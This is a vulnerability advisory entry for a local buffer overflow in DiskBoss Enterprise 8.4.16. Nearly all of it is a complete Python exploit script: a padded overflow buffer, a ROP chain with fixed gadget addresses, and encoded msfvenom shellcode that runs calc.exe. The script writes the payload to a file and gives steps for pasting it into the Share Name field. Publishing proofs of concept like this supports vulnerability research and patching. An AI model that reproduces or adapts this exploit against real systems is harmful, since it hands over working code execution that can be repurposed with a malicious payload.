DiskBoss Enterprise 8.4.16 Local Buffer Overflow

2017.10.05
Credit: C4t0ps1s
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

#!/usr/bin/python #======================================================================================================================== # Exploit Author: C4t0ps1s # Exploit Title: DiskBoss Enterprise v8.4.16 Local Buffer Overflow(Code execution) # Date: 03-10-2017 # Twitter: @C4t0ps1s # Email: C4t0ps1s@gmail.com # Vulnerable Software: DiskBoss Enterprise v8.4.16 # Vendor Homepage: http://www.diskboss.com # Version: v8.4.16 # Software Link: http://www.diskboss.com/downloads.html # Tested On: Windows 10 x64 # # Code execution from the PoC of Touhid M.Shaikh: https://www.exploit-db.com/exploits/42917/ # # To reproduce the code execution: # 1. Click Server # 2. Click Connect # 3. In the "Share Name" field, paste the content of shareName.txt , And try to connect # #======================================================================================================================== import struct buff = "a"*1312 #push esp | pop esi | retn 4 buff += struct.pack("<L",0x65247445) #mov eax, esi | pop esi | retn 4 buff += struct.pack("<L",0x65273f24) buff += "PADD" buff += "PADD" #pop ebx | retn buff += struct.pack("<L",0x65222936) buff += "PADD" buff += struct.pack("<L",0x7f7f7f7f) #add eax, ebx | pop esi | pop ebx | retn 0xc buff += struct.pack("<L",0x65222d7d) buff += "PADD" buff += struct.pack("<L",0x7f7f7f7f) #add eax, ebx | pop esi | pop ebx | retn 0xc buff += struct.pack("<L",0x65222d7d) buff += "PADD" buff += "PADD" buff += "PADD" buff += "PADD" buff += struct.pack("<L",0x0101015a) #add eax, ebx | pop esi | pop ebx | retn 0xc buff += struct.pack("<L",0x65222d7d) buff += "PADD" buff += "PADD" buff += "PADD" buff += "PADD" buff += "PADD" #jmp eax buff += struct.pack("<L",0x65217d28) #inc eax buff += "\x40"*20 #msfvenom -a x86 --platform windows -p windows/exec CMD="calc.exe" -e x86/alpha_mixed BufferRegister=EAX -f raw sc = "\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" sc += "\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41" sc += "\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" sc += "\x42\x75\x4a\x49\x39\x6c\x68\x68\x6e\x62\x45\x50\x75\x50\x37\x70" sc += "\x31\x70\x6f\x79\x78\x65\x66\x51\x6b\x70\x50\x64\x4e\x6b\x52\x70" sc += "\x56\x50\x6c\x4b\x51\x42\x44\x4c\x6e\x6b\x43\x62\x55\x44\x6e\x6b" sc += "\x64\x32\x57\x58\x76\x6f\x68\x37\x42\x6a\x47\x56\x44\x71\x49\x6f" sc += "\x6c\x6c\x75\x6c\x75\x31\x73\x4c\x73\x32\x76\x4c\x31\x30\x6a\x61" sc += "\x4a\x6f\x74\x4d\x66\x61\x5a\x67\x38\x62\x4b\x42\x52\x72\x70\x57" sc += "\x4e\x6b\x52\x72\x66\x70\x6c\x4b\x33\x7a\x35\x6c\x6c\x4b\x42\x6c" sc += "\x77\x61\x52\x58\x6a\x43\x37\x38\x55\x51\x6b\x61\x33\x61\x4e\x6b" sc += "\x73\x69\x65\x70\x47\x71\x7a\x73\x6e\x6b\x67\x39\x36\x78\x4b\x53" sc += "\x75\x6a\x72\x69\x6e\x6b\x45\x64\x4e\x6b\x43\x31\x58\x56\x56\x51" sc += "\x79\x6f\x6e\x4c\x6b\x71\x6a\x6f\x34\x4d\x43\x31\x39\x57\x65\x68" sc += "\x39\x70\x71\x65\x7a\x56\x73\x33\x51\x6d\x5a\x58\x45\x6b\x51\x6d" sc += "\x44\x64\x74\x35\x4d\x34\x30\x58\x4e\x6b\x31\x48\x74\x64\x75\x51" sc += "\x4a\x73\x65\x36\x4c\x4b\x54\x4c\x32\x6b\x4e\x6b\x36\x38\x57\x6c" sc += "\x53\x31\x48\x53\x4c\x4b\x75\x54\x4c\x4b\x77\x71\x7a\x70\x4f\x79" sc += "\x77\x34\x61\x34\x64\x64\x61\x4b\x43\x6b\x61\x71\x43\x69\x71\x4a" sc += "\x62\x71\x59\x6f\x6b\x50\x61\x4f\x33\x6f\x33\x6a\x6c\x4b\x46\x72" sc += "\x78\x6b\x4c\x4d\x43\x6d\x73\x5a\x37\x71\x6c\x4d\x6e\x65\x58\x32" sc += "\x47\x70\x55\x50\x47\x70\x32\x70\x45\x38\x56\x51\x4c\x4b\x42\x4f" sc += "\x6f\x77\x69\x6f\x4b\x65\x4f\x4b\x78\x70\x6e\x55\x69\x32\x53\x66" sc += "\x65\x38\x4f\x56\x6c\x55\x4f\x4d\x6d\x4d\x6b\x4f\x4a\x75\x45\x6c" sc += "\x66\x66\x53\x4c\x75\x5a\x6f\x70\x69\x6b\x69\x70\x42\x55\x53\x35" sc += "\x6d\x6b\x51\x57\x65\x43\x31\x62\x42\x4f\x71\x7a\x45\x50\x72\x73" sc += "\x4b\x4f\x78\x55\x35\x33\x35\x31\x32\x4c\x55\x33\x46\x4e\x75\x35" sc += "\x43\x48\x50\x65\x55\x50\x41\x41" buff += sc f = open("shareName.txt","wb") f.write(buff) f.close()


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